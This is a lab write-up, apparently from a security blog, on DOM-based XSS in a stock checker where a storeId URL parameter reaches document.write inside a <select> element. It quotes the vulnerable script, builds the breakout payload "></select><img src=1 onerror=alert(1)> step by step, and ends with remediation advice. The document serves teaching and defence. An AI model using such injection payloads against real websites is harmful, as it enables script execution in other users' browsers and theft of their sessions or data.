DOM XSS Lab 2: Exploiting document.write with location.search in Select Elements

Sep 29, 2025    #websecurity   #xss   #dom   #javascript   #document.write   #location.search   #client-side   #injection   #dom-based   #bug-bounty   #web-exploitation   #owasp   #security-research  

Lab 2: DOM XSS in document.write sink using source location.search inside a <select> element:

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker. It uses the JavaScript document.write function, which writes raw HTML into the page. The function is called with data from location.search (the URL query string), which you control. The data is inserted inside a <select> element.

To solve this lab, perform a cross-site scripting attack that breaks out of the <select> element and calls alert.

Finding an interesting parameter:

We should now locate where this parameter is processed in the page’s JavaScript.

Breaking Down The Source Code:

Form metadata:

<form id="stockCheckForm" action="/product/stock" method="POST">
  <input required type="hidden" name="productId" value="1">

The form posts to /product/stock and includes a hidden productId=1.

+Note+: This productId is unrelated to the store names; it’s just the product identifier.

The rest of the logic is inside the <script> block.

Predefined options:

var stores = ["London","Paris","Milan"];

These are the allowed store options shown in the dropdown menu.

User-controlled source:

var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');

URLSearchParams looks at the page’s query string (that’s window.location.search).

.get('storeId') pulls out whatever value is set for the storeId parameter.

The script then writes that value directly into the page with document.write, no escaping or checks, so this means injected HTML/JS can run.

Writing to the DOM:

if (store) {
  document.write('<option selected>' + store + '</option>');
}
for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) continue;
  document.write('<option>' + stores[i] + '</option>');
}
document.write('</select>');

If store has a value, the script writes it into the dropdown as the selected <option> using document.write.

Next, it adds the built-in stores (London, Paris, Milan) as more <option>s, skipping any that === match the value of store.

Since store comes straight from the URL and is written as raw HTML (no encoding), an attacker can inject HTML/JS.

Exploitation PoC:

Because storeId isn’t sanitized, we can inject our own HTML into the <select>.

To prove it’s controllable, first try a harmless value (e.g., &storeId=bl00dstI113r).

Result in the DOM (sanity check):

Rendered HTML fragment:

<select name="storeId">
  <option selected>bl00dstI113r</option>
  <option>London</option>
  <option>Paris</option>
  <option>Milan</option>
</select>

This is DOM-based XSS because the *source is location.search (URL input) and the sink is document.write (HTML output).

The server doesn’t echo our payload. Instead, the browser’s JavaScript takes our URL value and builds the HTML itself, so the attack happens entirely in the DOM.

Exploitation: triggering an alert

We need to break out of the <option>/<select> context and inject our own element with a JavaScript event, because otherwise the payload stays inside the option’s text, gets treated as plain text (not HTML), and no event handlers or scripts will execute.

The selected option is built as:

If we supply a payload that closes the current tags and then adds an element with an event handler, we can execute JavaScript.

Steps:

  1. Close the current text context by passing a double quote and angle bracket: ">
  2. Close the <select>: "></select>
  3. Inject an element with an event handler. A classic is an image that triggers on error: <img src=1 onerror=alert(1)>
    • This works as we are calling an image which does not exist and in the event of an error (which will happen) we will alert to the page.
  4. Combined payload: "></select><img src=1 onerror=alert(1)>
  5. URL-encode spaces if needed (%20) → "></select><img%20src=1%20onerror=alert(1)>

Final PoC (as storeId):

Result:

Injected HTML (simplified view):

<select name="storeId">
  <option selected>"></option>
</select>
<img src="1" onerror="alert(1)">
<option>London</option>
<option>Paris</option>
<option>Milan</option>
<button type="submit" class="button">Check stock</button>

Why This Is Vulnerable:

Primary Issue: Untrusted data from location.search (storeId parameter) is inserted into HTML using document.write (store variable) without encoding.

How To Fix: Don’t use document.write for dynamic content. Instead use safer DOM APIs (createElement, textContent, appendChild).

If document.write must be used see mozilla’s advisory below. However it is advised to not use it. I would also recommend reading OWASP DOM based XSS Prevention Cheat Sheet

The method is a possible vector for Cross-site-scripting (XSS) attacks, where potentially unsafe strings provided by a user are injected into the DOM without first being sanitized. While the method may block <script> elements from executing when they are injected in some browsers (see Intervening against document.write() for Chrome) , it is susceptible to many other ways that attackers can craft HTML to run malicious JavaScript.

You can mitigate these issues by always passing TrustedHTML objects instead of strings, and enforcing trusted type using the require-trusted-types-for CSP directive. This ensures that the input is passed through a transformation function, which has the chance to sanitize the input to remove potentially dangerous markup (such as <script> elements and event handler attributes), before it is injected.